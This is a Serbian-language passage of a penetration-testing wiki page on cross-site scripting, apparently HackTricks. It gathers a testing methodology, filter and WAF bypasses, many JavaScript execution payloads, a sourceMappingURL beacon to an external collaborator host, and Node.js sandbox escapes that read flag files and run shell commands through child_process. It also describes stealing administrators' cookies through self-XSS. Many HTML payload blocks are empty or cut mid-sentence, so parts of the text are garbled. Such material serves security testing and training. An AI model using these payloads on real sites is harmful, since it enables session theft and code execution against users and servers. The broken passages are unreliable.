# XSS (Cross Site Scripting)
Ako vas zanima **karijera u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_). {% embed url="https://www.stmcyber.com/careers" %} ## Metodologija 1. Proverite da li se **bilo koja vrednost koju kontrolišete** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **odražava** u HTML-u ili se **koristi** od strane **JS** koda. 2. **Pronađite kontekst** gde se odražava/koristi. 3. Ako je **odražano** 1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga, pripremite payload: 1. U **sirovom HTML-u**: 1. Možete li kreirati nove HTML tagove? 2. Možete li koristiti događaje ili atribute koji podržavaju `javascript:` protokol? 3. Možete li zaobići zaštite? 4. Da li se HTML sadržaj interpretira od strane bilo kog klijentskog JS engine-a (_AngularJS_, _VueJS_, _Mavo_...), mogli biste zloupotrebiti [**Client Side Template Injection**](../client-side-template-injection-csti.md). 5. Ako ne možete kreirati HTML tagove koji izvršavaju JS kod, možete li zloupotrebiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)? 2. Unutar **HTML taga**: 1. Možete li izaći u kontekst sirovog HTML-a? 2. Možete li kreirati nove događaje/atribute za izvršavanje JS koda? 3. Da li atribut u kojem ste zarobljeni podržava izvršavanje JS-a? 4. Možete li zaobići zaštite? 3. Unutar **JavaScript koda**: 1. Možete li pobjeći iz ``** oznaka HTML stranice, unutar `.js` datoteke ili unutar atributa koristeći **`javascript:`** protokol: * Ako se odražava između **``** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete `` i pobegnete iz ovog konteksta. Ovo funkcioniše jer **pregledač prvo analizira HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaša injektovana `` oznaka unutar HTML koda. * Ako se odražava **unutar JS stringa** i poslednji trik ne funkcioniše, potrebno je da **izađete** iz stringa, **izvršite** svoj kod i **rekonstruišete** JS kod (ako dođe do greške, neće biti izvršen): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * Ako se odražava unutar template literals, možete **ugraditi JS izraze** koristeći `${ ... }` sintaksu: `` var greetings = `Hello, ${alert(1)}` `` * **Unicode kodiranje** funkcioniše za pisanje **validnog javascript koda**: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Javascript Hoisting Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene, tako da možete zloupotrebiti scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\ **Pogledajte sledeću stranicu za više informacija:** {% content-ref url="js-hoisting.md" %} [js-hoisting.md](js-hoisting.md) {% endcontent-ref %} ### Javascript Funkcija Nekoliko web stranica ima krajnje tačke koje **prihvataju kao parametar ime funkcije koja treba da se izvrši**. Uobičajen primer koji se može videti u praksi je nešto poput: `?callback=callbackFunc`. Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je **modifikovanje vrednosti parametra** (na primer na 'Vulnerable') i gledanje u konzoli za greške poput: ![](<../../.gitbook/assets/image (711).png>) U slučaju da je ranjivo, mogli biste da **pokrenete alert** jednostavno slanjem vrednosti: **`?callback=alert(1)`**. Međutim, veoma je uobičajeno da će ove krajnje tačke **validirati sadržaj** kako bi dozvolile samo slova, brojeve, tačke i donje crte (**`[\w\._]`**). Međutim, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke radnje. To je zato što možete koristiti te validne karaktere da **pristupite bilo kojem elementu u DOM-u**: ![](<../../.gitbook/assets/image (747).png>) Neke korisne funkcije za ovo: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Možete takođe pokušati da **pokrenete Javascript funkcije** direktno: `obj.sales.delOrders`. Međutim, obično su krajnje tačke koje izvršavaju navedenu funkciju krajnje tačke bez mnogo zanimljivog DOM-a, **druge stranice u istom poreklu** će imati **zanimljiviji DOM** za izvođenje više akcija. Stoga, kako bi se **zloupotrebila ova ranjivost u različitom DOM-u**, razvijena je **Same Origin Method Execution (SOME)** eksploatacija: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM Postoji **JS kod** koji **nesigurno** koristi neke **podatke koje kontroliše napadač** kao što je `location.href`. Napadač bi mogao da zloupotrebi ovo da izvrši proizvoljan JS kod. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **Univerzalni XSS** Ove vrste XSS mogu se naći **svuda**. Ne zavise samo od klijentske eksploatacije web aplikacije, već od **bilo kog** **konteksta**. Ove vrste **proizvoljnog izvršavanja JavaScript-a** mogu čak biti zloupotrebljene za dobijanje **RCE**, **čitanje** **proizvoljnih** **datoteka** na klijentima i serverima, i još mnogo toga.\ Neki **primeri**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} ## WAF zaobilaženje kodiranja slike ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>) ## Umetanje unutar sirovog HTML-a Kada se vaš unos odražava **unutar HTML stranice** ili možete da pobegnete i umetnete HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` da kreirate nove oznake: Samo pokušajte da **odrazite** taj **karakter** i proverite da li je **HTML kodiran** ili **izbrisan** ili ako je **odražen bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\ Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Napomena: HTML komentar se može zatvoriti koristeći\*\*\*\***** ****`-->`**** ****ili \*\*\*\*****`--!>`**_ U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payload-e kao: ```html ``` Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da **napravite brute-force koji tagovi** možete kreirati.\ Kada **locirate koji tagovi su dozvoljeni**, moraćete da **napravite brute-force atribute/događaje** unutar pronađenih validnih tagova da vidite kako možete napasti kontekst. ### Brute-force tagova/događaja Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Kopiraj tagove u međuspremnik**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **napraviti brute-force sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Kopiraj događaje u međuspremnik**_ i pratite istu proceduru kao pre). ### Prilagođeni tagovi Ako niste pronašli nijedan validan HTML tag, možete pokušati da **napravite prilagođeni tag** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod: ``` /?search=#x ``` ### Blacklist Bypasses Ako se koristi neka vrsta crne liste, možete pokušati da je zaobiđete nekim glupim trikovima: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload** to **neće** **raditi**, ali možete **mešati ih unutar payload-a**. **Korišćenje Hex i Octal kodiranja sa `javascript:`** Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarirate **HTML tagove za izvršavanje JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Obrnuto nabbing kartica ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS u "neiskoristivim tagovima" (skriveni unos, link, kanonički, meta) Iz [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:** ```html
Newsletter popup
``` Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora: ```markup ``` **XSS payload će biti nešto poput ovoga: `" accesskey="x" onclick="alert(1)" x="`** ### Obilaženje crne liste Nekoliko trikova sa korišćenjem različitih kodiranja je već izloženo unutar ove sekcije. Vratite se **da naučite gde možete koristiti:** * **HTML kodiranje (HTML tagovi)** * **Unicode kodiranje (može biti validan JS kod):** `\u0061lert(1)` * **URL kodiranje** * **Hex i Oktalno kodiranje** * **data kodiranje** **Obilaženje za HTML tagove i atribute** Pročitajte [Obilaženje crne liste iz prethodne sekcije](./#blacklist-bypasses). **Obilaženje za JavaScript kod** Pročitajte [crnu listu obilaženja za JavaScript iz sledeće sekcije](./#javascript-bypass-blacklists-techniques). ### CSS-Gadgets Ako ste pronašli **XSS u veoma malom delu** veba koji zahteva neku vrstu interakcije (možda mali link u podnožju sa onmouseover elementom), možete pokušati da **modifikujete prostor koji taj element zauzima** kako biste povećali verovatnoću da se link aktivira. Na primer, mogli biste dodati neki stil u element kao što je: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Ali, ako WAF filtrira stil atribut, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer > .test {display:block; color: blue; width: 100%\} i > \#someid {top: 0; font-family: Tahoma;} Sada možete modifikovati naš link i dovesti ga u oblik > \ Ovaj trik je preuzet sa [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Umetanje unutar JavaScript koda U ovim slučajevima vaša **ulazna** vrednost će biti **reflektovana unutar JS koda** `.js` fajla ili između `` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol. ### Izbegavanje \` lako možete **izbeći zatvaranje ` ``` Napomena da u ovom primeru **nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a za razumevanje i izvršavanje ugrađenih skripti se vrši tek kasnije. ### Unutar JS koda Ako se `<>` sanitizuju, još uvek možete **pobeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **ispraviti JS sintaksu**, jer ako postoje greške, JS kod neće biti izvršen: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` Da biste konstruisali **stringove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **obrnute navodnike** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\ Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi obrnute navodnike, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**: Ovo se može **zloupotrebiti** koristeći: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### Izvršavanje kodova u kodiranom obliku ```markup ``` **Javascript unutar komentara** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript bez zagrada** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Poziv proizvoljne funkcije (alert)** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **DOM ranjivosti** Postoji **JS kod** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može iskoristiti ovo da izvrši proizvoljan JS kod.\ **Zbog proširenja objašnjenja o** [**DOM ranjivostima, premešteno je na ovu stranicu**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} Tamo ćete pronaći detaljno **objašnjenje šta su DOM ranjivosti, kako se izazivaju i kako ih iskoristiti**.\ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnjenje o [**DOM Clobbering napadima**](dom-xss.md#dom-clobbering). ### Nadogradnja Self-XSS ### Cookie XSS Ako možete izazvati XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing: {% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} [cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md) {% endcontent-ref %} Možete pronaći sjajnu zloupotrebu ove tehnike u [**ovom blog postu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Slanje vaše sesije administratoru Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost. ### Održivost sesije Ako pronađete neki self XSS i web stranica ima **održivost sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije. Možete naterati **administratora da izazove vaš self XSS** i ukradete njegove kolačiće/sesiju. ## Ostali zaobilaženja ### Normalizovani Unicode Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane** na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Pronađite primer ovde**](../unicode-injection/#xss-cross-site-scripting). ### PHP FILTER\_VALIDATE\_EMAIL flag zaobilaženje ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\ Primer forme ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` Par "Ključ","Vrednost" će biti vraćen nazad ovako: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Zatim će biti umetnut atribut onfocus i dolazi do XSS-a. ### Posebne kombinacije ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS sa injekcijom zaglavlja u 302 odgovoru Ako otkrijete da možete **injektovati zaglavlja u 302 preusmeravajućem odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan. U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\ Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`. ### Samo slova, brojevi i tačke Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničen na te karaktere. [**Pročitajte ovaj deo ovog posta**](./#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje. ### Validni ` ``` * **modul** (podrazumevano, nema potrebe za objašnjenjem) * [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete skup podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** Omogućava poboljšanje sintakse uvoza ```html ``` Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca/tree/master/solution) da se preusmeri biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je uglavnom namenjena rešavanju nekih problema uzrokovanih pre-renderovanjem. Radi ovako: ```html ``` ### Web Content-Types to XSS (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći tipovi sadržaja mogu izvršiti XSS u svim pregledačima: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? nije na listi, ali mislim da sam ovo video u CTF-u) * application/rss+xml (isključeno) * application/atom+xml (isključeno) U drugim pregledačima mogu se koristiti drugi **`Content-Types`** za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Content Type Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena i izvršiti proizvoljni JS: ```xml hello ``` ### Posebni obrasci zamene Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", )`**. Napadač može koristiti [**posebne zamene stringova**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) da pokuša da zaobiđe neke zaštite: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da se **izbegne JSON string** unutar skripte i izvrši proizvoljan kod. ### Chrome Cache to XSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### XS Jails Escape Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za probleme sa XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Ako je **sve neodređeno** pre izvršavanja nepouzdanog koda (kao u [**ovoj analizi**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda: * Korišćenjem import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * Pristupanje `require` indirektno [Prema ovome](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli su obavijeni od strane Node.js unutar funkcije, ovako: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` Stoga, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**: {% code overflow="wrap" %} ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` {% endcode %} Na sličan način kao u prethodnom primeru, moguće je **koristiti rukovaoce greškama** da pristupite **omotaču** modula i dobijete **`require`** funkciju: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### Obfuscation & Advanced Bypass * **Različite obfuscacije na jednoj stranici:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * Više sofisticirani JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ ['_']; o=(ﾟｰﾟ) =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ 